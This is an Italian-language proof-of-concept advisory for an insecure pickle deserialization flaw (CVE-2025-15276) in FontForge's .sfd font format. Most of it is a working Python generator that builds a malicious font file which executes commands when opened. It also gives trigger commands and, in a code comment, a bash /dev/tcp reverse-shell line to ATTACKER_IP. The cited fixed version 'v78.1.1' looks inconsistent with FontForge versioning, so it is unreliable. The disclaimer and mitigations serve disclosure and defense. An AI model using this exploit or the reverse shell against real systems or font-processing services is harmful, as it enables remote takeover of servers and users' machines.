CVE-2025-15276: Deserializzazione insicura di PickledData in FontForge SFD (RCE)

Disclaimer

Questa Prova di Concetto (PoC) ha solo scopo educativo e di audit di sicurezza. L'autore non è responsabile per qualsiasi uso improprio di queste informazioni. L'accesso non autorizzato a sistemi informatici è illegale. Ottenere sempre esplicita autorizzazione prima di eseguire test di sicurezza su qualsiasi sistema.

Panoramica della Vulnerabilità

CVE-2025-15276 è una vulnerabilità critica di Esecuzione Remota di Codice (RCE) in FontForge (versioni fino alla 20230101 incluse). Il difetto risiede nell'analisi del formato Spline Font Database (.sfd), in particolare nel campo PickledData.

Dettaglio Tecnico

Il formato SFD di FontForge consente di memorizzare dizionari Python persistenti usando la parola chiave PickledData. Quando un font viene caricato, FontForge estrae questa stringa e la passa direttamente alla funzione pickle.loads() di Python (o a una routine di deserializzazione interna equivalente) senza alcuna sanificazione o sandboxing.

Poiché il modulo pickle di Python è intrinsecamente insicuro e permette la ricostruzione arbitraria di oggetti, un attaccante può utilizzare il metodo __reduce__ per eseguire comandi di sistema arbitrari con i privilegi dell'utente che esegue FontForge.

Passaggi per la Riproduzione

1. Requisiti

• FontForge vulnerabile: Versione 20230101 o precedente.
• Python 3.x: Per generare il payload malevolo.

2. Generare il File SFD Malevolo

Usare il seguente script Python (gen_poc.py) per creare un file exploit.sfd. Questa PoC è configurata per creare un file in /tmp/pwned come indicatore di compromissione (IoC) sicuro.

import pickle
import os

# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"

class Exploit(object):
    def __reduce__(self):
        return (os.system, (cmd,))

# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')

# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')

# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""

with open("exploit.sfd", "w") as f:
    f.write(sfd_content)

print("[+] exploit.sfd generated successfully.")

3. Attivare la Vulnerabilità

La vulnerabilità può essere attivata semplicemente aprendo il file con FontForge.

Opzione A: Caricamento standard GUI/CLI

fontforge exploit.sfd

Opzione B: Interfaccia di scripting Python (Comune in pipeline automatizzate)

fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'

4. Verifica

Verificare se il comando è stato eseguito:

ls -l /tmp/pwned

Impatto in Ambienti Automatizzati

Questa vulnerabilità è particolarmente pericolosa nelle pipeline di elaborazione dei font (ad es. convertitori di font basati sul web o script di validazione automatici) che utilizzano FontForge come backend per elaborare file caricati dagli utenti. Se lo script backend chiama fontforge.open() su un file .sfd non fidato, l'attaccante ottiene il controllo completo del server di elaborazione.

Mitigazione

1. Aggiornare FontForge: Passare all'ultima versione (v78.1.1 o successiva), dove questi percorsi di deserializzazione insicuri sono stati corretti o limitati.
2. Sanificare l'Input: Se si stanno sviluppando strumenti che utilizzano l'API di FontForge, validare rigorosamente il formato del file prima di elaborarlo e non permettere mai l'elaborazione di file .sfd provenienti da fonti non fidate.
3. Sandboxing: Eseguire le attività di elaborazione dei font all'interno di un contenitore a privilegi ridotti (ad es. Docker) o in un sandbox ristretto per limitare l'impatto di un potenziale compromesso.

Riferimenti

• Voce NVD CVE-2025-15276
• Rapporto Zero Day Initiative (ZDI)
• Repository GitHub di FontForge